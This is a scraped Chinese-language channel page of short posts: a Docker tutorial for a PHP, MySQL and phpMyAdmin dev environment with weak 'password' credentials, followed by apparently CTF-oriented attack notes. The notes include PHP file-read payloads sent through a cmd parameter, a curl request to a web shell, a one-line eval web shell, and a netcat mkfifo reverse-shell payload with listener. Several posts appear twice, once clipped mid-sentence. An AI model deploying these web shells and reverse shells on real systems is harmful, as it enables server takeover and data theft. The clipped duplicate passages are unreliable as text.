BroadcastChannel
https://channel.gandli.eu.org/
https://channel.gandli.eu.org/
搭建 PHP 开发环境并配置权限
以下是创建 PHP 开发环境、配置 MySQL 和 phpMyAdmin 权限、以及创建
### 步骤 1: 创建目录并进入项目目录
在终端中执行以下命令:
### 步骤 2: 创建
在
### 步骤 3: 启动 Docker 服务
在
这将会启动 MySQL、PHP+Apache 和 phpMyAdmin 服务。
### 步骤 4: 授权普通用户创建数据库和管理权限
MySQL 容器启动后,执行以下命令为普通用户
首先,进入 MySQL 容器:
输入
这将授予
### 步骤 5: 创建
在
### 步骤 6: 访问 PHP 开发环境
1. **访问 PHP 页面**:在浏览器中访问 `http://localhost:8080/`,你将看到 PHP 配置信息页面。
2. 访问 phpMyAdmin:在浏览器中访问 `http://localhost:8081/`,使用以下凭据登录:
- **用户名**:`user`
- **密码**:`password`
登录后,你可以使用
### 总结
通过以上步骤,你成功搭建了一个包含 MySQL、PHP+Apache 和 phpMyAdmin 的开发环境,并授予了普通用户创建数据库的权限。同时,你也创建了一个简单的 PHP 文件来展示 PHP 配置信息。
#docker #php #mysql #phpmyadmin #开发环境 #权限控制
以下是创建 PHP 开发环境、配置 MySQL 和 phpMyAdmin 权限、以及创建
index.php 文件的详细步骤。### 步骤 1: 创建目录并进入项目目录
在终端中执行以下命令:
mkdir php-dev && cd php-dev### 步骤 2: 创建
docker-compose.yml 文件在
php-dev 目录下创建一个 docker-compose.yml 文件,内容如下:version: '3.7'
services:
# 构建 MySQL 服务
mysql:
image: mysql:8.0 # 使用官方 MySQL 镜像
container_name: php_mysql
environment:
MYSQL_ROOT_PASSWORD: password # 设置 MySQL root 密码
MYSQL_DATABASE: pikachu # 设置初始化数据库
MYSQL_USER: user # 创建用户
MYSQL_PASSWORD: password # 设置用户密码
# MYSQL_ALLOW_EMPTY_PASSWORD: "yes" # 允许空密码
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_bin
- --lower_case_table_names=1
ports:
- "3306:3306" # 映射端口
volumes:
- mysql_data:/var/lib/mysql # 数据持久化
# 构建 PHP+Apache 服务
web:
image: php:8.2-apache # 使用 PHP + Apache 官方镜像
container_name: php-apache
depends_on:
- mysql # 确保 MySQL 在此服务之前启动
volumes:
- ./html:/var/www/html # 将主机目录挂载到容器工作目录
ports:
- "8080:80" # 映射端口
# 构建 phpMyAdmin 服务
phpmyadmin:
image: phpmyadmin/phpmyadmin # 使用官方 phpMyAdmin 镜像
container_name: phpmyadmin
environment:
PMA_HOST: php_mysql # 设置连接的 MySQL 容器名称
PMA_USER: user # 设置 phpMyAdmin 使用的数据库用户名
PMA_PASSWORD: password # 设置 phpMyAdmin 使用的密码
depends_on:
- mysql # 确保 MySQL 启动后才启动 phpMyAdmin
ports:
- "8081:80" # 映射端口
# 定义持久化存储
volumes:
mysql_data:### 步骤 3: 启动 Docker 服务
在
php-dev 目录下执行以下命令启动服务:docker-compose up -d这将会启动 MySQL、PHP+Apache 和 phpMyAdmin 服务。
### 步骤 4: 授权普通用户创建数据库和管理权限
MySQL 容器启动后,执行以下命令为普通用户
user 授予创建、删除、修改数据库的权限。首先,进入 MySQL 容器:
docker exec -it php_mysql mysql -u root -p输入
root 密码后,执行以下 SQL 语句:GRANT CREATE, DROP, ALTER, INDEX ON *.* TO 'user'@'%';
FLUSH PRIVILEGES;这将授予
user 用户在所有数据库上的创建、删除、修改和索引权限,并刷新权限表。### 步骤 5: 创建
index.php 文件在
php-dev 目录下创建 html 文件夹,并在其中创建 index.php 文件:echo "<?php phpinfo(); ?>" > html/index.php### 步骤 6: 访问 PHP 开发环境
1. **访问 PHP 页面**:在浏览器中访问 `http://localhost:8080/`,你将看到 PHP 配置信息页面。
2. 访问 phpMyAdmin:在浏览器中访问 `http://localhost:8081/`,使用以下凭据登录:
- **用户名**:`user`
- **密码**:`password`
登录后,你可以使用
phpMyAdmin 来管理 MySQL 数据库和执行其他操作。### 总结
通过以上步骤,你成功搭建了一个包含 MySQL、PHP+Apache 和 phpMyAdmin 的开发环境,并授予了普通用户创建数据库的权限。同时,你也创建了一个简单的 PHP 文件来展示 PHP 配置信息。
#docker #php #mysql #phpmyadmin #开发环境 #权限控制
### PHP 文件读取方法归纳
以下是您提供的几种 PHP 文件读取方法的整理与归纳,按功能和实现方式分类:
#### 1. 使用 `file_get_contents()`
- 功能: 读取整个文件的内容并返回字符串。
- 特点: 适合小型文件,直接返回文件内容。
- 优点: 简单直接,易于使用。
- 用途: 读取文本文件或 PHP 文件的内容,不会执行代码。
#### 2. 使用 `highlight_file()`
- 功能: 读取文件并以语法高亮显示 PHP 代码。
- 特点: 输出文件内容时会进行 PHP 语法高亮,适合查看 PHP 文件源码。
- 优点: 高亮显示,易于分析 PHP 代码。
- 用途: 展示 PHP 文件的源码,特别适合调试和学习。
#### 3. 使用 `readfile()`
- 功能: 直接将文件内容输出到浏览器。
- 特点: 不返回文件内容,而是直接输出文件内容。
- 优点: 适合文件内容的快速输出。
- 用途: 输出文件,适合读取并显示文件内容,适用于图片或其他二进制文件。
#### 4. 使用 `fread()` 与 `fopen()`
- 功能: 打开文件并读取指定字节数,通常配合
- 特点: 更加灵活,可以处理大文件和逐块读取。
- 优点: 读取大文件时性能较好。
- 用途: 用于大文件读取和按需读取。
#### 5. 使用 `file()` 与 `implode()`
- 功能:
- 特点: 逐行读取文件并输出。
- 优点: 适用于按行处理文件。
- 用途: 适合读取文本文件、配置文件等,并且可以按行处理文件内容。
---
### 总结对比
| 方法 | 描述 | 优点 | 适用场景 |
|---------------------------|---------------------------------------------|-------------------------------------------------|------------------------------------------|
| `file_get_contents()` | 读取整个文件的内容并返回字符串 | 简单、直接,适合读取小文件 | 读取小型文本文件,配置文件等 |
| `highlight_file()` | 读取并高亮显示 PHP 文件的源代码 | 高亮显示 PHP 语法,便于查看源码 | 查看和分析 PHP 源码 |
| `readfile()` | 直接输出文件内容到浏览器 | 适合快速输出文件内容 | 快速输出文件内容,适用于二进制文件 |
| `fread()
|
### 用途选择
- 如果需要快速查看文件内容并输出,推荐使用
- 如果文件较大,且希望逐行读取内容,则推荐使用 `file()` 和 `implode()`。
- 如果需要展示 PHP 源代码并进行高亮显示,使用 `highlight_file()` 更为合适。
- 如果处理大文件并且想要逐块读取,使用 `fread()
### 传入方式
这些方法可以通过
### 关键词
#PHP #file_get_contents #highlight_file #readfile #fread #fopen #file #implode #命令注入 #源码读取
以下是您提供的几种 PHP 文件读取方法的整理与归纳,按功能和实现方式分类:
#### 1. 使用 `file_get_contents()`
cmd=echo file_get_contents('flag.php');- 功能: 读取整个文件的内容并返回字符串。
- 特点: 适合小型文件,直接返回文件内容。
- 优点: 简单直接,易于使用。
- 用途: 读取文本文件或 PHP 文件的内容,不会执行代码。
#### 2. 使用 `highlight_file()`
cmd=echo highlight_file('flag.php', true);- 功能: 读取文件并以语法高亮显示 PHP 代码。
- 特点: 输出文件内容时会进行 PHP 语法高亮,适合查看 PHP 文件源码。
- 优点: 高亮显示,易于分析 PHP 代码。
- 用途: 展示 PHP 文件的源码,特别适合调试和学习。
#### 3. 使用 `readfile()`
cmd=echo readfile('flag.php');- 功能: 直接将文件内容输出到浏览器。
- 特点: 不返回文件内容,而是直接输出文件内容。
- 优点: 适合文件内容的快速输出。
- 用途: 输出文件,适合读取并显示文件内容,适用于图片或其他二进制文件。
#### 4. 使用 `fread()` 与 `fopen()`
cmd=echo fread(fopen('flag.php', 'r'), filesize('flag.php'));- 功能: 打开文件并读取指定字节数,通常配合
filesize() 来读取整个文件。- 特点: 更加灵活,可以处理大文件和逐块读取。
- 优点: 读取大文件时性能较好。
- 用途: 用于大文件读取和按需读取。
#### 5. 使用 `file()` 与 `implode()`
cmd=echo implode("\n", file('flag.php'));- 功能:
file() 将文件按行读取成数组,`implode()` 将数组内容连接成字符串。- 特点: 逐行读取文件并输出。
- 优点: 适用于按行处理文件。
- 用途: 适合读取文本文件、配置文件等,并且可以按行处理文件内容。
---
### 总结对比
| 方法 | 描述 | 优点 | 适用场景 |
|---------------------------|---------------------------------------------|-------------------------------------------------|------------------------------------------|
| `file_get_contents()` | 读取整个文件的内容并返回字符串 | 简单、直接,适合读取小文件 | 读取小型文本文件,配置文件等 |
| `highlight_file()` | 读取并高亮显示 PHP 文件的源代码 | 高亮显示 PHP 语法,便于查看源码 | 查看和分析 PHP 源码 |
| `readfile()` | 直接输出文件内容到浏览器 | 适合快速输出文件内容 | 快速输出文件内容,适用于二进制文件 |
| `fread()
+ `fopen() | 逐块读取文件内容 | 更加灵活,可读取大文件,按需读取文件内容 | 读取大文件或需要逐块读取文件的场景 ||
file() + implode() | 按行读取文件并将内容连接成字符串 | 适合按行处理文件,可以方便地操作文件的每一行 | 读取和处理文本文件,适合逐行分析内容 |### 用途选择
- 如果需要快速查看文件内容并输出,推荐使用
file_get_contents() 或 `readfile()`。- 如果文件较大,且希望逐行读取内容,则推荐使用 `file()` 和 `implode()`。
- 如果需要展示 PHP 源代码并进行高亮显示,使用 `highlight_file()` 更为合适。
- 如果处理大文件并且想要逐块读取,使用 `fread()
和 `fopen() 组合方法更为合适。### 传入方式
这些方法可以通过
POST 请求中的 cmd 参数传递给 @eval($_POST["cmd"]) 来执行。以下是一个示例:curl -X POST -d "cmd=echo file_get_contents('flag.php');" http://192.168.5.205/shell.php### 关键词
#PHP #file_get_contents #highlight_file #readfile #fread #fopen #file #implode #命令注入 #源码读取
同时支持 GET、POST
<?php
@eval($_REQUEST['cmd']);
phpinfo();
?>#php #一句话木马
反弹shell
1. 开启监听
nc -lvnp 44442. nc mkfifo 连接
GET、POST:
cmd=system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP Port >/tmp/f");注意:发送前都需要进行url编码 ,hackbar\burp suite选择urlencode
#反弹shell
快速实现
metasploit-framework 开启监听,使用蚁剑As-Exploits反弹shell连接
#蚁剑